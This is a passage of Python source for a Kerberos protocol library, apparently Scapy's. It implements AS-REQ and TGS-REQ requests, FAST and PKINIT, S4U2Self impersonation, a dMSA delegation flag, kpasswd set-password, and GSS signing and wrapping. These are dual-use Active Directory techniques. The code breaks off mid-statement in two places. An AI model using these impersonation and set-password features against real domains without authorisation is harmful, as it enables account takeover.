dmsa # DMSA self.key = key self.subkey = None # In the AP-REQ authenticator self.replykey = None # Key used for reply # See RFC4120 - sect 7.2.2 # This marks whether we should follow-up after an EOF self.should_followup = False # This marks that we sent a FAST-req and are awaiting for an answer self.fast_req_sent = False # Session parameters self.pre_auth = False self.pa_type = None # preauth-type that's used self.fast_rep = None self.fast_error = None self.fast_skey = None # The random subkey used for fast self.fast_armorkey = None # The armor key self.fxcookie = None self.pkinit_dh_key = None if ca is not None: self.pkinit_cms = CMS_Engine(ca) else: self.pkinit_cms = None sock = self._connect() super(KerberosClient, self).__init__( sock=sock, **kwargs, ) def _connect(self): """ Internal function to bind a socket to the DC. This also takes care of an eventual KDC proxy. """ if self.kdc_proxy: # If we are using a KDC Proxy, wrap the socket with the KdcProxySocket, # that takes our messages and transport them over HTTP. sock = KdcProxySocket( url=self.kdc_proxy, targetDomain=self.realm, no_check_certificate=self.kdc_proxy_no_check_certificate, ) else: sock = socket.socket() sock.settimeout(self._timeout) sock.connect((self._ip, self._port)) sock = StreamSocket(sock, KerberosTCPHeader) return sock def send(self, pkt): """ Sends a wrapped Kerberos packet """ super(KerberosClient, self).send(KerberosTCPHeader() / pkt) def _show_krb_error(self, error): """ Displays a Kerberos error """ if error.root.errorCode == 0x07: # KDC_ERR_S_PRINCIPAL_UNKNOWN if ( isinstance(error.root.eData, KERB_ERROR_UNK) and error.root.eData.dataType == -128 ): log_runtime.error( "KerberosSSP: KDC requires U2U for SPN '%s' !" % error.root.getSPN() ) else: log_runtime.error( "KerberosSSP: KDC_ERR_S_PRINCIPAL_UNKNOWN for SPN '%s'" % error.root.getSPN() ) else: log_runtime.error(error.root.sprintf("KerberosSSP: Received %errorCode% !")) if self._verbose: error.show() def _base_kdc_req(self, now_time): """ Return the KRB_KDC_REQ_BODY used in both AS-REQ and TGS-REQ """ kdcreq = KRB_KDC_REQ_BODY( etype=[ASN1_INTEGER(x) for x in self.etypes], additionalTickets=None, # Windows default kdcOptions="forwardable+renewable+canonicalize+renewable-ok", cname=None, realm=ASN1_GENERAL_STRING(self.realm), till=ASN1_GENERALIZED_TIME(now_time + timedelta(hours=10)), rtime=ASN1_GENERALIZED_TIME(now_time + timedelta(hours=10)), nonce=ASN1_INTEGER(RandNum(0, 0x7FFFFFFF)._fix()), ) if self.renew: kdcreq.kdcOptions.set(30, 1) # set 'renew' (bit 30) return kdcreq def calc_fast_armorkey(self): """ Calculate and return the FAST armorkey """ # Generate a random key of the same type than ticket_skey if self.mode == self.MODE.AS_REQ: # AS-REQ mode self.fast_skey = Key.new_random_key(self.armor_ticket_skey.etype) self.fast_armorkey = KRB_FX_CF2( self.fast_skey, self.armor_ticket_skey, b"subkeyarmor", b"ticketarmor", ) elif self.mode == self.MODE.TGS_REQ: # TGS-REQ: 2 cases self.subkey = Key.new_random_key(self.key.etype) if not self.armor_ticket: # Case 1: Implicit armoring self.fast_armorkey = KRB_FX_CF2( self.subkey, self.key, b"subkeyarmor", b"ticketarmor", ) else: # Case 2: Explicit armoring, in "Compounded Identity mode". # This is a Microsoft extension: see [MS-KILE] sect 3.3.5.7.4 self.fast_skey = Key.new_random_key(self.armor_ticket_skey.etype) explicit_armor_key = KRB_FX_CF2( self.fast_skey, self.armor_ticket_skey, b"subkeyarmor", b"ticketarmor", ) self.fast_armorkey = KRB_FX_CF2( explicit_armor_key, self.subkey, b"explicitarmor", b"tgsarmor", ) def _fast_wrap(self, kdc_req, padata, now_time, pa_tgsreq_ap=None): """ :param kdc_req: the KDC_REQ_BODY to wrap :param padata: the list of PADATA to wrap :param now_time: the current timestamp used by the client """ # Create the PA Fast request wrapper pafastreq = PA_FX_FAST_REQUEST( armoredData=KrbFastArmoredReq( reqChecksum=Checksum(), encFastReq=EncryptedData(), ) ) if self.armor_ticket is not None: # EXPLICIT mode only (AS-REQ or TGS-REQ) pafastreq.armoredData.armor = KrbFastArmor( armorType=1, # FX_FAST_ARMOR_AP_REQUEST armorValue=KRB_AP_REQ( ticket=self.armor_ticket, authenticator=EncryptedData(), ), ) # Populate the authenticator. Note the client is the wrapper _, crealm = _parse_upn(self.armor_ticket_upn) authenticator = KRB_Authenticator( crealm=ASN1_GENERAL_STRING(crealm), cname=PrincipalName.fromUPN(self.armor_ticket_upn), cksum=None, ctime=ASN1_GENERALIZED_TIME(now_time), cusec=ASN1_INTEGER(0), subkey=EncryptionKey.fromKey(self.fast_skey), seqNumber=ASN1_INTEGER(0), encAuthorizationData=None, ) pafastreq.armoredData.armor.armorValue.authenticator.encrypt( self.armor_ticket_skey, authenticator, ) # Sign the fast request wrapper if self.mode == self.MODE.TGS_REQ: # "for a TGS-REQ, it is performed over the type AP- # REQ in the PA-TGS-REQ padata of the TGS request" pafastreq.armoredData.reqChecksum.make( self.fast_armorkey, bytes(pa_tgsreq_ap), ) else: # "For an AS-REQ, it is performed over the type KDC-REQ- # BODY for the req-body field of the KDC-REQ structure of the # containing message" pafastreq.armoredData.reqChecksum.make( self.fast_armorkey, bytes(kdc_req), ) # Build and encrypt the Fast request fastreq = KrbFastReq( padata=padata, reqBody=kdc_req, ) pafastreq.armoredData.encFastReq.encrypt( self.fast_armorkey, fastreq, ) # Return the PADATA return PADATA( padataType=ASN1_INTEGER(136), # PA-FX-FAST padataValue=pafastreq, ) def as_req(self): now_time = datetime.now(timezone.utc).replace(microsecond=0) # 1. Build and populate KDC-REQ kdc_req = self._base_kdc_req(now_time=now_time) kdc_req.addresses = [ HostAddress( addrType=ASN1_INTEGER(20), # Netbios address=ASN1_STRING(self.host.ljust(16, " ")), ) ] kdc_req.cname = PrincipalName.fromUPN(self.upn) kdc_req.sname = PrincipalName.fromSPN(self.spn) # 2. Build the list of PADATA padata = [ PADATA( padataType=ASN1_INTEGER(128), # PA-PAC-REQUEST padataValue=PA_PAC_REQUEST(includePac=ASN1_BOOLEAN(-1)), ) ] # Cookie support if self.fxcookie: padata.insert( 0, PADATA( padataType=133, # PA-FX-COOKIE padataValue=self.fxcookie, ), ) # FAST if self.fast: # Calculate the armor key self.calc_fast_armorkey() # [MS-KILE] sect 3.2.5.5 # "When sending the AS-REQ, add a PA-PAC-OPTIONS [167]" padata.append( PADATA( padataType=ASN1_INTEGER(167), # PA-PAC-OPTIONS padataValue=PA_PAC_OPTIONS( options="Claims", ), ) ) # Pre-auth is requested if self.pre_auth: if self.x509: # Special PKINIT (RFC4556) factor # RFC4556 - 3.2.1. Generation of Client Request # RFC4556 - 3.2.1 - (5) AuthPack authpack = KRB_AuthPack( pkAuthenticator=KRB_PKAuthenticator( ctime=ASN1_GENERALIZED_TIME(now_time), cusec=ASN1_INTEGER(0), nonce=ASN1_INTEGER(RandNum(0, 0x7FFFFFFF)._fix()), ), clientPublicValue=None, # Used only in DH mode supportedCMSTypes=None, clientDHNonce=None, supportedKDFs=None, ) if self.pkinit_kex_method == PKINIT_KEX_METHOD.DIFFIE_HELLMAN: # RFC4556 - 3.2.3.1. Diffie-Hellman Key Exchange # We use modp2048 dh_parameters = _ffdh_groups["modp2048"][0] self.pkinit_dh_key = dh_parameters.generate_private_key() numbers = dh_parameters.parameter_numbers() # We can't use 'public_bytes' because it's the PKCS#3 format, # and we want the DomainParameters format. authpack.clientPublicValue = X509_SubjectPublicKeyInfo( signatureAlgorithm=X509_AlgorithmIdentifier( algorithm=ASN1_OID("dhpublicnumber"), parameters=DomainParameters( p=ASN1_INTEGER(numbers.p), g=ASN1_INTEGER(numbers.g), # q: see ERRATA 1 of RFC4556 q=ASN1_INTEGER(numbers.q or (numbers.p - 1) // 2), ), ), subjectPublicKey=DHPublicKey( y=ASN1_INTEGER( self.pkinit_dh_key.public_key().public_numbers().y ), ), ) elif self.pkinit_kex_method == PKINIT_KEX_METHOD.PUBLIC_KEY: # RFC4556 - 3.2.3.2. - Public Key Encryption # Set supportedCMSTypes, supportedKDFs authpack.supportedCMSTypes = [ X509_AlgorithmIdentifier(algorithm=ASN1_OID(x)) for x in [ "ecdsa-with-SHA512", "ecdsa-with-SHA256", "sha512WithRSAEncryption", "sha256WithRSAEncryption", ] ] authpack.supportedKDFs = [ KDFAlgorithmId(kdfId=ASN1_OID(x)) for x in [ "id-pkinit-kdf-sha256", "id-pkinit-kdf-sha1", "id-pkinit-kdf-sha512", ] ] # XXX UNFINISHED raise NotImplementedError else: raise ValueError # Populate paChecksum and PAChecksum2 authpack.pkAuthenticator.make_checksum(bytes(kdc_req)) # Sign the AuthPack signedAuthpack = self.pkinit_cms.sign( authpack, ASN1_OID("id-pkinit-authData"), self.x509, self.x509key, ) # Build PA-DATA self.pa_type = 16 # PA-PK-AS-REQ pafactor = PADATA( padataType=self.pa_type, padataValue=PA_PK_AS_REQ( signedAuthpack=signedAuthpack, trustedCertifiers=None, kdcPkId=None, ), ) else: # Key-based factor if self.fast: # Special FAST factor # RFC6113 sect 5.4.6 # Calculate the 'challenge key' ts_key = KRB_FX_CF2( self.fast_armorkey, self.key, b"clientchallengearmor", b"challengelongterm", ) self.pa_type = 138 # PA-ENCRYPTED-CHALLENGE pafactor = PADATA( padataType=self.pa_type, padataValue=EncryptedData(), ) else: # Usual 'timestamp' factor ts_key = self.key self.pa_type = 2 # PA-ENC-TIMESTAMP pafactor = PADATA( padataType=self.pa_type, padataValue=EncryptedData(), ) pafactor.padataValue.encrypt( ts_key, PA_ENC_TS_ENC(patimestamp=ASN1_GENERALIZED_TIME(now_time)), ) # Insert Pre-Authentication data padata.insert( 0, pafactor, ) # FAST support if self.fast: # We are using RFC6113's FAST armoring. The PADATA's are therefore # hidden inside the encrypted section. padata = [ self._fast_wrap( kdc_req=kdc_req, padata=padata, now_time=now_time, ) ] # 3. Build the request asreq = Kerberos( root=KRB_AS_REQ( padata=padata, reqBody=kdc_req, ) ) # Note the reply key self.replykey = self.key return asreq def tgs_req(self): now_time = datetime.now(timezone.utc).replace(microsecond=0) # Compute armor key for FAST if self.fast: self.calc_fast_armorkey() # 1. Build and populate KDC-REQ kdc_req = self._base_kdc_req(now_time=now_time) kdc_req.sname = PrincipalName.fromSPN(self.spn) # Additional tickets if self.additional_tickets: kdc_req.additionalTickets = self.additional_tickets # U2U if self.u2u: kdc_req.kdcOptions.set(28, 1) # set 'enc-tkt-in-skey' (bit 28) # 2. Build the list of PADATA padata = [] # [MS-SFU] FOR-USER extension if self.for_user is not None: # [MS-SFU] note 4: # "Windows Vista, Windows Server 2008, Windows 7, and Windows Server # 2008 R2 send the PA-S4U-X509-USER padata type alone if the user's # certificate is available. # If the user's certificate is not available, it sends both the # PA-S4U-X509-USER padata type and the PA-FOR-USER padata type. # When the PA-S4U-X509-USER padata type is used without the user's # certificate, the certificate field is not present." # 1. Add PA_S4U_X509_USER pasfux509 = PA_S4U_X509_USER( userId=S4UUserID( nonce=kdc_req.nonce, # [MS-SFU] note 5: # "Windows S4U clients always set this option." options="USE_REPLY_KEY_USAGE", cname=PrincipalName.fromUPN(self.for_user), crealm=ASN1_GENERAL_STRING(_parse_upn(self.for_user)[1]), subjectCertificate=None, # TODO ), checksum=Checksum(), ) if self.dmsa: # DMSA = set UNCONDITIONAL_DELEGATION to 1 pasfux509.userId.options.set(4, 1) if self.key.etype in [EncryptionType.RC4_HMAC, EncryptionType.RC4_HMAC_EXP]: # "if the key's encryption type is RC4_HMAC_NT (23) the checksum type # is rsa-md4 (2) as defined in section 6.2.6 of [RFC3961]." pasfux509.checksum.make( self.key, bytes(pasfux509.userId), cksumtype=ChecksumType.RSA_MD4, ) else: pasfux509.checksum.make( self.key, bytes(pasfux509.userId), ) padata.append( PADATA( padataType=ASN1_INTEGER(130), # PA-FOR-X509-USER padataValue=pasfux509, ) ) # 2. Add PA_FOR_USER if True: # XXX user's certificate is not available. paforuser = PA_FOR_USER( userName=PrincipalName.fromUPN(self.for_user), userRealm=ASN1_GENERAL_STRING(_parse_upn(self.for_user)[1]), cksum=Checksum(), ) S4UByteArray = struct.pack( # [MS-SFU] sect 2.2.1 "" :param ip: the KDC ip. (optional. If not provided, Scapy will query the DNS for _kerberos._tcp.dc._msdcs.domain.local). :param key: (optional) pass the Key object. :param password: (optional) otherwise, pass the user's password :param x509: (optional) pass a x509 certificate for PKINIT. :param x509key: (optional) pass the private key of the x509 certificate for PKINIT. :param p12: (optional) use a pfx/p12 instead of x509 and x509key. In this case, 'password' is the password of the p12. :param realm: (optional) the realm to use. Otherwise use the one from UPN. :param host: (optional) the host performing the AS-Req. WIN10 by default. :return: returns a named tuple (asrep=<...>, sessionkey=<...>) Example:: >>> # The KDC is found via DC Locator, we ask a TGT for user1 >>> krb_as_req("user1@DOMAIN.LOCAL", password="Password1") Equivalent:: >>> from scapy.libs.rfc3961 import Key, EncryptionType >>> key = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=hex_bytes("6d0748c546 ...: f4e99205e78f8da7681d4ec5520ae4815543720c2a647c1ae814c9")) >>> krb_as_req("user1@DOMAIN.LOCAL", ip="192.168.122.17", key=key) Example using PKINIT with a p12:: >>> krb_as_req("user1@DOMAIN.LOCAL", p12="./store.p12", password="password") """ if realm is None: _, realm = _parse_upn(upn) if key is None and p12 is None and x509 is None: if password is None: try: from prompt_toolkit import prompt password = prompt("Enter password: ", is_password=True) except ImportError: password = input("Enter password: ") cli = KerberosClient( mode=KerberosClient.MODE.AS_REQ, realm=realm, ip=ip, spn=spn or "krbtgt/" + realm, host=host, upn=upn, password=password, key=key, p12=p12, x509=x509, x509key=x509key, **kwargs, ) cli.run() cli.stop() return cli.result def krb_tgs_req( upn, spn, sessionkey, ticket, ip=None, renew=False, realm=None, additional_tickets=[], u2u=False, etypes=None, for_user=None, s4u2proxy=False, **kwargs, ): r""" Kerberos TGS-Req :param upn: the user principal name formatted as "DOMAIN\user", "DOMAIN/user" or "user@DOMAIN" :param spn: the full service principal name (e.g. "cifs/srv1") :param sessionkey: the session key retrieved from the tgt :param ticket: the tgt ticket :param ip: the KDC ip. (optional. If not provided, Scapy will query the DNS for _kerberos._tcp.dc._msdcs.domain.local). :param renew: ask for renewal :param realm: (optional) the realm to use. Otherwise use the one from SPN. :param additional_tickets: (optional) a list of additional tickets to pass. :param u2u: (optional) if specified, enable U2U and request the ticket to be signed using the session key from the first additional ticket. :param etypes: array of EncryptionType values. By default: AES128, AES256, RC4, DES_MD5 :param for_user: a user principal name to request the ticket for. This is the S4U2Self extension. :return: returns a named tuple (tgsrep=<...>, sessionkey=<...>) Example:: >>> # The KDC is on 192.168.122.17, we ask a TGT for user1 >>> krb_as_req("user1@DOMAIN.LOCAL", "192.168.122.17", password="Password1") Equivalent:: >>> from scapy.libs.rfc3961 import Key, EncryptionType >>> key = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=hex_bytes("6d0748c546 ...: f4e99205e78f8da7681d4ec5520ae4815543720c2a647c1ae814c9")) >>> krb_as_req("user1@DOMAIN.LOCAL", "192.168.122.17", key=key) """ cli = KerberosClient( mode=KerberosClient.MODE.TGS_REQ, realm=realm, upn=upn, ip=ip, spn=spn, key=sessionkey, ticket=ticket, renew=renew, additional_tickets=additional_tickets, u2u=u2u, etypes=etypes, for_user=for_user, s4u2proxy=s4u2proxy, **kwargs, ) cli.run() cli.stop() return cli.result def krb_as_and_tgs(upn, spn, ip=None, key=None, password=None, **kwargs): """ Kerberos AS-Req then TGS-Req """ res = krb_as_req(upn=upn, ip=ip, key=key, password=password, **kwargs) if not res: return return krb_tgs_req( upn=res.upn, # UPN might get canonicalized spn=spn, sessionkey=res.sessionkey, ticket=res.asrep.ticket, ip=ip, **kwargs, ) def krb_get_salt(upn, ip=None, realm=None, host="WIN10", **kwargs): """ Kerberos AS-Req only to get the salt associated with the UPN. """ if realm is None: _, realm = _parse_upn(upn) cli = KerberosClient( mode=KerberosClient.MODE.GET_SALT, realm=realm, ip=ip, spn="krbtgt/" + realm, upn=upn, host=host, **kwargs, ) cli.run() cli.stop() return cli.result def kpasswd( upn, targetupn=None, ip=None, password=None, newpassword=None, key=None, ticket=None, realm=None, ssp=None, setpassword=None, timeout=3, port=464, debug=0, **kwargs, ): """ Change a password using RFC3244's Kerberos Set / Change Password. :param upn: the UPN to use for authentication :param targetupn: (optional) the UPN to change the password of. If not specified, same as upn. :param ip: the KDC ip. (optional. If not provided, Scapy will query the DNS for _kerberos._tcp.dc._msdcs.domain.local). :param key: (optional) pass the Key object. :param ticket: (optional) a ticket to use. Either a TGT or ST for kadmin/changepw. :param password: (optional) otherwise, pass the user's password :param realm: (optional) the realm to use. Otherwise use the one from UPN. :param setpassword: (optional) use "Set Password" mechanism. :param ssp: (optional) a Kerberos SSP for the service kadmin/changepw@REALM. If provided, you probably don't need anything else. Otherwise built. """ from scapy.layers.ldap import dclocator if not realm: _, realm = _parse_upn(upn) spn = "kadmin/changepw@%s" % realm if ip is None: ip = dclocator( realm, timeout=timeout, # Use connect mode instead of ldap for compatibility # with MIT kerberos servers mode="connect", port=port, debug=debug, ).ip if ssp is None and ticket is not None: tktspn = ticket.getSPN().split("/")[0] assert tktspn in ["krbtgt", "kadmin"], "Unexpected ticket type ! %s" % tktspn if tktspn == "krbtgt": log_runtime.info( "Using 'Set Password' mode. This only works with admin privileges." ) setpassword = True resp = krb_tgs_req( upn=upn, spn=spn, ticket=ticket, sessionkey=key, ip=ip, debug=debug, ) if resp is None: return ticket = resp.tgsrep.ticket key = resp.sessionkey if setpassword is None: setpassword = bool(targetupn) elif setpassword and targetupn is None: targetupn = upn assert setpassword or not targetupn, "Cannot use targetupn in changepassword mode !" # Get a ticket for kadmin/changepw if ssp is None: if ticket is None: # Get a ticket for kadmin/changepw through AS-REQ resp = krb_as_req( upn=upn, spn=spn, key=key, ip=ip, password=password, debug=debug, ) if resp is None: return ticket = resp.asrep.ticket key = resp.sessionkey ssp = KerberosSSP( UPN=upn, SPN=spn, ST=ticket, KEY=key, DC_IP=ip, debug=debug, **kwargs, ) Context, tok, status = ssp.GSS_Init_sec_context( None, req_flags=0, # No GSS_C_MUTUAL_FLAG ) if status != GSS_S_CONTINUE_NEEDED: warning("SSP failed on initial GSS_Init_sec_context !") if tok: tok.show() return apreq = tok.innerToken.root # Connect sock = socket.socket() sock.settimeout(timeout) sock.connect((ip, port)) sock = StreamSocket(sock, KpasswdTCPHeader) # Do KPASSWD request if newpassword is None: try: from prompt_toolkit import prompt newpassword = prompt("Enter NEW password: ", is_password=True) except ImportError: newpassword = input("Enter NEW password: ") krbpriv = KRB_PRIV(encPart=EncryptedData()) krbpriv.encPart.encrypt( Context.KrbSessionKey, EncKrbPrivPart( sAddress=HostAddress( addrType=ASN1_INTEGER(2), # IPv4 address=ASN1_STRING(b"\xc0\xa8\x00e"), ), userData=ASN1_STRING( bytes( ChangePasswdData( newpasswd=newpassword, targname=PrincipalName.fromUPN(targetupn), targrealm=realm, ) ) if setpassword else newpassword ), timestamp=None, usec=None, seqNumber=Context.SendSeqNum, ), ) resp = sock.sr1( KpasswdTCPHeader() / KPASSWD_REQ( pvno=0xFF80 if setpassword else 1, apreq=apreq, krbpriv=krbpriv, ), timeout=timeout, verbose=0, ) # Verify KPASSWD response if not resp: raise TimeoutError("KPASSWD_REQ timed out !") if KPASSWD_REP not in resp: resp.show() raise ValueError("Invalid response to KPASSWD_REQ !") Context, tok, status = ssp.GSS_Init_sec_context( Context, input_token=resp.aprep, ) if status != GSS_S_COMPLETE: warning("SSP failed on subsequent GSS_Init_sec_context !") if tok: tok.show() return # Parse answer KRB_PRIV krbanswer = resp.krbpriv.encPart.decrypt(Context.KrbSessionKey) userRep = KPasswdRepData(krbanswer.userData.val) if userRep.resultCode != 0: warning(userRep.sprintf("KPASSWD failed !")) userRep.show() return print(userRep.sprintf("%resultCode%")) # SSP class KerberosSSP(SSP): """ The KerberosSSP Client settings: :param ST: the service ticket to use for access. If not provided, will be retrieved :param SPN: the SPN of the service to use. If not provided, will use the target_name provided in the GSS_Init_sec_context :param UPN: The client UPN :param DC_IP: (optional) is ST+KEY are not provided, will need to contact the KDC at this IP. If not provided, will perform dc locator. :param TGT: (optional) pass a TGT to use to get the ST. :param KEY: the session key associated with the ST if it is provided, OR the session key associated with the TGT OR the kerberos key associated with the UPN :param PASSWORD: (optional) if a UPN is provided and not a KEY, this is the password of the UPN. :param U2U: (optional) use U2U when requesting the ST. Server settings: :param SPN: the SPN of the service to use. :param KEY: the kerberos key to use to decrypt the AP-req :param UPN: (optional) the UPN, if used in U2U mode. :param TGT: (optional) pass a TGT to use for U2U. :param DC_IP: (optional) if TGT is not provided, request one on the KDC at this IP using using the KEY when using U2U. """ auth_type = 0x10 class STATE(SSP.STATE): INIT = 1 CLI_SENT_TGTREQ = 2 CLI_SENT_APREQ = 3 CLI_RCVD_APREP = 4 SRV_SENT_APREP = 5 FAILED = -1 class CONTEXT(SSP.CONTEXT): __slots__ = [ "SessionKey", "ServerHostname", "U2U", "KrbSessionKey", # raw Key object "ST", # the service ticket "STSessionKey", # raw ST Key object (for DCE_STYLE) "SeqNum", # for AP "SendSeqNum", # for MIC "RecvSeqNum", # for MIC "IsAcceptor", "SendSealKeyUsage", "SendSignKeyUsage", "RecvSealKeyUsage", "RecvSignKeyUsage", # server-only "UPN", "PAC", ] def __init__(self, IsAcceptor, req_flags=None): self.state = KerberosSSP.STATE.INIT self.SessionKey = None self.ServerHostname = None self.U2U = False self.SendSeqNum = 0 self.RecvSeqNum = 0 self.KrbSessionKey = None self.ST = None self.STSessionKey = None self.IsAcceptor = IsAcceptor self.UPN = None self.PAC = None # [RFC 4121] sect 2 if IsAcceptor: self.SendSealKeyUsage = 22 self.SendSignKeyUsage = 23 self.RecvSealKeyUsage = 24 self.RecvSignKeyUsage = 25 else: self.SendSealKeyUsage = 24 self.SendSignKeyUsage = 25 self.RecvSealKeyUsage = 22 self.RecvSignKeyUsage = 23 super(KerberosSSP.CONTEXT, self).__init__(req_flags=req_flags) def clifailure(self): self.__init__(self.IsAcceptor, req_flags=self.flags) def __repr__(self): if self.U2U: return "KerberosSSP-U2U" return "KerberosSSP" def __init__( self, ST=None, UPN=None, PASSWORD=None, U2U=False, KEY=None, SPN=None, TGT=None, DC_IP=None, SKEY_TYPE=None, debug=0, **kwargs, ): import scapy.libs.rfc3961 # Trigger error if any # noqa: F401 self.ST = ST self.UPN = UPN self.KEY = KEY self.SPN = SPN self.TGT = TGT self.TGTSessionKey = None self.PASSWORD = PASSWORD self.U2U = U2U self.DC_IP = DC_IP self.debug = debug if SKEY_TYPE is None: SKEY_TYPE = EncryptionType.AES128_CTS_HMAC_SHA1_96 self.SKEY_TYPE = SKEY_TYPE super(KerberosSSP, self).__init__(**kwargs) def GSS_Inquire_names_for_mech(self): mechs = [ "1.2.840.48018.1.2.2", # MS KRB5 - Microsoft Kerberos 5 "1.2.840.113554.1.2.2", # Kerberos 5 ] if self.U2U: mechs.append("1.2.840.113554.1.2.2.3") # Kerberos 5 - User to User return mechs def GSS_GetMICEx(self, Context, msgs, qop_req=0): """ [MS-KILE] sect 3.4.5.6 - AES: RFC4121 sect 4.2.6.1 """ if Context.KrbSessionKey.etype in [17, 18]: # AES # Concatenate the ToSign ToSign = b"".join(x.data for x in msgs if x.sign) sig = KRB_InnerToken( TOK_ID=b"\x04\x04", root=KRB_GSS_MIC( Flags="AcceptorSubkey" + ("+SentByAcceptor" if Context.IsAcceptor else ""), SND_SEQ=Context.SendSeqNum, ), ) ToSign += bytes(sig)[:16] sig.root.SGN_CKSUM = Context.KrbSessionKey.make_checksum( keyusage=Context.SendSignKeyUsage, text=ToSign, ) else: raise NotImplementedError Context.SendSeqNum += 1 return sig def GSS_VerifyMICEx(self, Context, msgs, signature): """ [MS-KILE] sect 3.4.5.7 - AES: RFC4121 sect 4.2.6.1 """ Context.RecvSeqNum = signature.root.SND_SEQ if Context.KrbSessionKey.etype in [17, 18]: # AES # Concatenate the ToSign ToSign = b"".join(x.data for x in msgs if x.sign) ToSign += bytes(signature)[:16] sig = Context.KrbSessionKey.make_checksum( keyusage=Context.RecvSignKeyUsage, text=ToSign, ) else: raise NotImplementedError if sig != signature.root.SGN_CKSUM: raise ValueError("ERROR: Checksums don't match") def GSS_WrapEx(self, Context, msgs, qop_req: GSS_QOP_REQ_FLAGS = 0): """ [MS-KILE] sect 3.4.5.4 - AES: RFC4121 sect 4.2.6.2 and [MS-KILE] sect 3.4.5.4.1 - HMAC-RC4: RFC4757 sect 7.3 and [MS-KILE] sect 3.4.5.4.1 """ # Is confidentiality in use? confidentiality = (Context.flags & GSS_C_FLAGS.GSS_C_CONF_FLAG) and any( x.conf_req_flag for x in msgs ) if Context.KrbSessionKey.etype in [17, 18]: # AES # Build token tok = KRB_InnerToken( TOK_ID=b"\x05\x04", root=KRB_GSS_Wrap( Flags="AcceptorSubkey" + ("+SentByAcceptor" if Context.IsAcceptor else "") + ("+Sealed" if confidentiality else ""), SND_SEQ=Context.SendSeqNum, RRC=0, ), ) Context.SendSeqNum += 1 # Real separation starts now: RFC4121 sect 4.2.4 if confidentiality: # Confidentiality is requested (see RFC4121 sect 4.3) # {"header" | encrypt(plaintext-data | filler | "header")} # 0. Roll confounder Confounder = os.urandom(Context.KrbSessionKey.ep.blocksize) # 1. Concatenate the data to be encrypted Data = b"".join(x.data for x in msgs if x.conf_req_flag) DataLen = len(Data) # 2. Add filler if qop_req & GSS_QOP_REQ_FLAGS.GSS_S_NO_SECBUFFER_PADDING: # Special case for compatibility with Windows API. See # GSS_QOP_REQ_FLAGS. tok.root.EC = 0 else: # [MS-KILE] sect 3.4.5.4.1 - "For AES-SHA1 ciphers, the EC must not # be zero" tok.root.EC = ( (-DataLen) % Context.KrbSessionKey.ep.blocksize ) or 16 Filler = b"\x00" * tok.root.EC Data += Filler # 3. Add first 16 octets of the Wrap token "header" PlainHeader = bytes(tok)[:16] Data += PlainHeader # 4. Build 'ToSign', exclusively used for checksum ToSign = Confounder ToSign += b"".join(x.data for x in msgs if x.sign) ToSign += Filler ToSign += PlainHeader # 5. Finalize token for signing # "The RRC field is [...] 28 if encryption is requested." tok.root.RRC = 28 # 6. encrypt() is the encryption operation (which provides for # integrity protection) Data = Context.KrbSessionKey.encrypt( keyusage=Context.SendSealKeyUsage, plaintext=Data, confounder=Confounder, signtext=ToSign, ) # 7. Rotate Data = strrot(Data, tok.root.RRC + tok.root.EC) # 8. Split (token and encrypted messages) toklen = len(Data) - DataLen tok.root.Data = Data[:toklen] offset = toklen for msg in msgs: msglen = len(msg.data) if msg.conf_req_flag: msg.data = Data[offset : offset + msglen] offset += msglen return msgs, tok else: # No confidentiality is requested # {"header" | plaintext-data | get_mic(plaintext-data | "header")} # 0. Concatenate the data Data = b"".join(x.data for x in msgs if x.sign) DataLen = len(Data) # 1. Add first 16 octets of the Wrap token "header" ToSign = Data ToSign += bytes(tok)[:16] # 2. get_mic() is the checksum operation for the required # checksum mechanism Mic = Context.KrbSessionKey.make_checksum( keyusage=Context.SendSealKeyUsage, text=ToSign, ) # In Wrap tokens without confidentiality, the EC field SHALL be used # to encode the number of octets in the trailing checksum tok.root.EC = 12 # len(tok.root.Data) == 12 for AES # "The RRC field ([RFC4121] section 4.2.5) is 12 if no encryption # is requested" tok.root.RRC = 12 # 3. Concat and pack for msg in msgs: if msg.sign: msg.data = b"" Data = Data + Mic # 4. Rotate tok.root.Data = strrot(Data, tok.root.RRC) return msgs, tok elif Context.KrbSessionKey.etype in [23, 24]: # RC4 # Build token seq = struct.pack(">I", Context.SendSeqNum) tok = KRB_InnerToken( TOK_ID=b"\x02\x01", root=KRB_GSS_Wrap_RFC1964( SGN_ALG="HMAC", SEAL_ALG="RC4" if confidentiality else "none", SND_SEQ=seq + ( # See errata b"\xff\xff\xff\xff" if Context.IsAcceptor else b"\x00\x00\x00\x00" ), ), ) Context.SendSeqNum += 1 # 0. Concatenate data ToSign = _rfc1964pad(b"".join(x.data for x in msgs if x.sign)) ToEncrypt = b"".join(x.data for x in msgs if x.conf_req_flag) Kss = Context.KrbSessionKey.key # 1. Roll confounder Confounder = os.urandom(8) # 2. Compute the 'Kseq' key Klocal = strxor(Kss, len(Kss) * b"\xf0") if Context.KrbSessionKey.etype == 24: # EXP Kcrypt = Hmac_MD5(Klocal).digest(b"fortybits\x00" + b"\x00\x00\x00\x00") Kcrypt = Kcrypt[:7] + b"\xab" * 9 else: Kcrypt = Hmac_MD5(Klocal).digest(b"\x00\x00\x00\x00") Kcrypt = Hmac_MD5(Kcrypt).digest(seq) # 3. Build SGN_CKSUM tok.root.SGN_CKSUM = Context.KrbSessionKey.make_checksum( keyusage=13, # See errata text=bytes(tok)[:8] + Confounder + ToSign, )[:8] # 4. Populate token + encrypt if confidentiality: # 'encrypt' is requested rc4 = Cipher(decrepit_algorithms.ARC4(Kcrypt), mode=None).encryptor() tok.root.CONFOUNDER = rc4.update(Confounder) Data = rc4.update(ToEncrypt) # Split encrypted data offset = 0 for msg in msgs: msglen = len(msg.data) if msg.conf_req_flag: msg.data = Data[offset : offset + msglen] offset += msglen else: # 'encrypt' is not requested tok.root.CONFOUNDER = Confounder # 5. Compute the 'Kseq' key if Context.KrbSessionKey.etype == 24: # EXP Kseq = Hmac_MD5(Kss).digest(b"fortybits\x00" + b"\x00\x00\x00\x00") Kseq = Kseq[:7] + b"\xab" * 9 else: Kseq = Hmac_MD5(Kss).digest(b"\x00\x00\x00\x00") Kseq = Hmac_MD5(Kseq).digest(tok.root.SGN_CKSUM) # 6. Encrypt 'SND_SEQ' rc4 = Cipher(decrepit_algorithms.ARC4(Kseq), mode=None).encryptor() tok.root.SND_SEQ = rc4.update(tok.root.SND_SEQ) # 7. Include 'InitialContextToken pseudo ASN.1 header' tok = KRB_GSSAPI_Token( MechType="1.2.840.113554.1.2.2", # Kerberos 5 innerToken=tok, ) return msgs, tok else: raise 